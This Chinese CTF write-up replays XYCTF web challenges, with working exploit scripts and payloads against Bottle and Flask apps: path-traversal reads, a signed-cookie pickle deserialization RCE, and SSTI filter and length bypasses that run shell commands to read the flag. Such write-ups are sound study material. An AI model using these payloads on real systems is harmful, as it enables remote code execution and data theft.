0%

XYCTF-迟到的复现

祝大家七夕节快乐,有对象的可以一起出去玩,没对象的我在这里陪大家复现题目

本期推荐

Where’d You Go 姆爷+J cole+Jay Z+Nas+Kendrick+2pac+Biggie
Everybody Dies In Their Nightmares -xxxtentacion
不羁与自由的灵魂

复现用平台

鱼哥的复现平台

WEB

Signin

我的印象里我做了很久才搞定这题,而且大量依赖AI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

这里反复强调有关session,cookie之类的内容(看/secret路由)

那应该是和session伪造有关了
在之前的flask-session伪造中我们知道了密钥key的重要性,所以此处我们也需要去读取一个key
题目直接明示了

1
2
with open('../../secret.txt', 'r') as f:
secret = f.read()

也给出了下载文件的路由

1
2
3
4
5
6
7
8
9
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

这里可以看到对路径进行了一个经典的过滤,只要用./../这个先同级目录再下级目录的方法来进行读取即可
这里在拉蒙特徐的另外一篇博客中有提到
LMTX

1
http://gz.imxbt.cn:20472/download?filename=./.././../secret.txt

这样子拿到了secretkey
Hell0_H@cker_Y0u_A3r_Sm@r7

接下来看cookie相关的路由

1
2
3
4
5
6
7
8
9
10
11
12
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"

先不管了,把cookie抓下来看一下水平

1
Set-Cookie: name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

看一下路由里面是怎么处理的

对于get_cookie的设置是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

先谈get_cookie
按照上面的源码说法
题目中的get_cookie传入了key和secret

1
session = request.get_cookie("name", secret=secret)

然后是

1
value = self.cookies.get(key)

会从self.cookie字典中获取到指定的key的cookie值,如果cookie存在,value将是对应的值,若不存在,会把value转为None

1
if secret:

这里就是判断我们传没传secret,很明显题目中我们传了

接下来就是对于cookie的一个验证逻辑

1
2
3
4
5
6
7
8
9
10
11
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

首先一个if是用来判断cookie的格式是否是正确的,查看了一下我们原先的cookie

1
Set-Cookie: name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

很明显是过关的
后续用一个map函数,以?为界,跳过!,把cookie分成两个部分,用tob将分割后的签名和消息转为字节格式,再分别传给sig和msg
然后应该是用hash生成了一个签名(应该是)
然后就是
将计算出来的哈希值与从cookie中提取的sig进行比较,通过_lscmp函数确保他们是相等的。如果相等,意味着该cookie是有效的,没有被篡改
然后dst就是接收一个先对msg进行base64解码然后再用pickle反序列化变回原文的neritic

最后就是验证key(在这里指的是admin和guest)
如果匹配就会返回dst[1]

总结一下,你其实只要签名那里过了,就可以进行pickle反序列化,你在这个时候用个魔术方法,不就可以实现rce了吗

简单了解一下pickle反序列化

中间有一行是关于set_cookie的注释,我们可以去看一下set_cookie的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options):
""" Create a new cookie or replace an old one. If the `secret` parameter is
set, create a `Signed Cookie` (described below).

:param name: the name of the cookie.
:param value: the value of the cookie.
:param secret: a signature key required for signed cookies.

Additionally, this method accepts all RFC 2109 attributes that are
supported by :class:`cookie.Morsel`, including:

:param maxage: maximum age in seconds. (default: None)
:param expires: a datetime object or UNIX timestamp. (default: None)
:param domain: the domain that is allowed to read the cookie.
(default: current domain)
:param path: limits the cookie to a given path (default: current path)
:param secure: limit the cookie to HTTPS connections (default: off).
:param httponly: prevents client-side javascript to read this cookie
(default: off, requires Python 2.6 or newer).
:param samesite: Control or disable third-party use for this cookie.
Possible values: `lax`, `strict` or `none` (default).

If neither `expires` nor `maxage` is set (default), the cookie will
expire at the end of the browser session (as soon as the browser
window is closed).

Signed cookies may store any pickle-able object and are
cryptographically signed to prevent manipulation. Keep in mind that
cookies are limited to 4kb in most browsers.

Warning: Pickle is a potentially dangerous format. If an attacker
gains access to the secret key, he could forge cookies that execute
code on server side if unpickled. Using pickle is discouraged and
support for it will be removed in later versions of bottle.

Warning: Signed cookies are not encrypted (the client can still see
the content) and not copy-protected (the client can restore an old
cookie). The main intention is to make pickling and unpickling
save, not to store secret information at client side.
"""
if not self._cookies:
self._cookies = SimpleCookie()

# Monkey-patch Cookie lib to support 'SameSite' parameter
# https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')

if secret:
if not isinstance(value, basestring):
depr(0, 13, "Pickling of arbitrary objects into cookies is "
"deprecated.", "Only store strings in cookies. "
"JSON strings are fine, too.")
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
elif not isinstance(value, basestring):
raise TypeError('Secret key required for non-string cookies.')

# Cookie size plus options must not exceed 4kb.
if len(name) + len(value) > 3800:
raise ValueError('Content does not fit into a cookie.')

self._cookies[name] = value

for key, value in options.items():
if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13
key = 'max-age'
if isinstance(value, timedelta):
value = value.seconds + value.days * 24 * 3600
if key == 'expires':
value = http_date(value)
if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13
key, value = 'samesite', (value or "none").lower()
if value not in ('lax', 'strict', 'none'):
raise CookieError("Invalid value for SameSite")
if key in ('secure', 'httponly') and not value:
continue
self._cookies[name][key] = value

其实也不用理解太多

set_cookie构造出来的cookie一定是可以过get_cookie的验证的,不然这两个平时要怎么配合

1
2
3
4
5
6
7
8
9
from bottle import *

class cmd():
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./wlgd.txt')""",))

cmd=cmd()
response.set_cookie("name",cmd,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
print(response._cookies)

生成然后打上去,然后通过download路由读wlgd.txt即可

也可以自己写个脚本,直接request.get得到结果也可以

出题人已疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

一眼ssti,这渲染就没渲染好

然后进到/attack路由,用经典的49验证一下,确实是可以ssti

看源码是对长度限制了一手,然后禁用了open和双反斜杠

虽然很少见,但是长度被限制的话自然就有绕过长度的方法

上网搜索可以得到一种__builtins__[x]的拼接绕过,就是以这个为中间变量
由于bottle中可以以%作为命令执行,所以我们可以用这种方法来进行绕过

1
2
attack?payload=%0A%__builtins__['x']='op'
attack?payload=%0A%__builtins__['y']='en'

例如在这里我们可以用这样子的方法拼出open,而且也没超过限制

1
2
3
attack?payload=%0A%__builtins__['e']=eval
attack?payload=%0A%__builtins__['O']=e(o)
attack?payload={{O('/flag').read()}}

看到这里我真的觉得稳了,结果发现0作用,然后就疯狂找payload,发现也没有可以绕过的方法,那就只好看看拉蒙特徐的wp了

然后看到只有一句的注解:其实bottle的SSTI可以直接访问到内部类,直接往os里塞字符。随后一起拿出来exec。这样子就可以实现SSTI

前置知识

由于python的特性,我们能够给os模块中的属性赋值,这个属性是可以自定义的
exp

1
2
3
import os
os.a="wlgd"
print(os.a)

或是说可以设置一个环境变量

1
2
3
import os
os.environ['sbsb']='dsb'
print(os.environ['sbsb'])

都能够返回我们设置的值

脚本分析

从拉蒙特徐博客上薅下来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://eci-2zeeal6ndgee1yfe98tl.cloudeci1.ichunqiu.com:5000/attack'


payload = "__import__('os').system('cat /f*>123')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

整了个payload,然后三个字符字符的分开,写成一个列表
然后先赋值一个给a,随后的全部都用+的方式拼接给a属性
最后直接调用(那这里为什么不直接用open,反正3字符割开,那不是就意味着open可以以分割的方式绕过waf),用include来读取123目录

这里我有一点疑问,关于换行符的必要性,听了ds老师的解释之后,感觉自己之前都白学了,这都忘记了
alt text

我更新一下脚本

有那么一点仿写的意味在,毕竟核心理论相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url="http://gz.imxbt.cn:20490/attack"

payload="__import__('os').system('cat /f*>dsb')"

list=[payload[i:i+3] for i in range(0,len(payload),3)]

flag=True

for i in list:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;os.a+="{i}"'
context=requests.get(url,params={"payload":tmp})

context=requests.get(url,params={"payload":f"\n%import os;eval(os.a)"})
context=requests.get(url,params={"payload":f"\n%include('dsb')"}).text
print(context)

中间微调和debug的心酸只有自己知道

这里再贴一篇关于flask的ssti长度绕过的文章

出题人又疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

跟上一题相比ban了很多东西,\n被ban说明我们不能再用%表达式的方法来做题了

这里就要用到bottle框架的一种特性了,斜体字绕过(稍后会另外更新一篇博客详细的讲解相关内容-我怎么越鸽越多了)

这里我突然想起一种类似的,pyjail中的全角字符open可以代替普通的open来实现绕过(pyjail进阶我也还没补,最近从拉蒙特徐那里学到了好多姿势)

这里直接用拉蒙特徐的exp,构造payload(详细原来看我的那篇斜体字博客(应该会和这篇同步发布))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'

def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result

input_text = '' # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

然后把%C2去掉即可

payload

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

(doge:ISCTF请你们赤豪赤的)

Now you see me 1

打开附件的一瞬间看到了好多helloworld,这个时候会发现vscode底下出现了一条很长的代码条

才发现是把exec什么的用;写在了helloworld的后面,用base64加密了,接下来直接丢给AI整理恢复即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

ban了这么多,又del了这么多,六六六😓

不会,脚本小子投降(当时XYCTF也没做出来这个)

小前置知识

  1. python中的类重载

在python2中可以用reload函数对类进行重载,在python3中,reload函数被整进了importlib类里
重载例子

1
2
3
4
5
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami')

依然是可以正常的使用os下的system模块,执行系统命令

在上面的题目中,我们的rce方法全被del了,所以我们可以用这种方法来重载被删除的方法

  1. request对象

这waf看着就很赤石了,我们打ssti的第一个思路就是传统继承链了,缺少_,所以要去构造_,但是单引号双引号被ban了,没办法,但是从单双引号绕过这里应该很快就有一个想法,就是用request去绕

然后request的常用逃逸参数全ban了,waf也成功限制了我们,使payload无法拼接和编码转换。但是request没被ban确实是一个很好的入手点

拉蒙特徐说可以通过request.endpoint来获得当前路由的名字来拼出request.data
再在请求体中传入任意字符进行绕过。可以获得任意字符

但是我认为SSTI这个玩意,非出题人预期真的是挺难控制的一件事

来看一下这篇博客
https://xz.aliyun.com/news/17696

还有我心中的web神的博客
https://blog.xrntkk.top/post/xyctf_2025/#now-you-see-me-1

没有想到居然还能这么绕,实在是佩服

Now you see me 2

参考xrntkk的博客
https://blog.xrntkk.top/post/xyctf_2025/#now-you-see-me-1

总结

整场XYCTF基本上都在考和SSTI相关的内容,我当时对SSTI掌握的并不好(虽然现在也没多好),只做出来了ez_SQL,signin和那个puzzle的拼图题

经过这次复现,学到了挺多之前没见过的思路和姿势(Now you see me那两题收获巨大),接下来把之前的坑填完之后就要去学习Java安全和渗透测试了,还有就是会接触src业务相关方面的内容(经济水平导致的我得找一个能赚点生活费的法子,不然明年都没钱续vps),差不多就这样,我也在恩师拉蒙特徐的指导下出了一道题,要是没出岔子的话,在不久的将来就会与大家见面,拜拜xdm!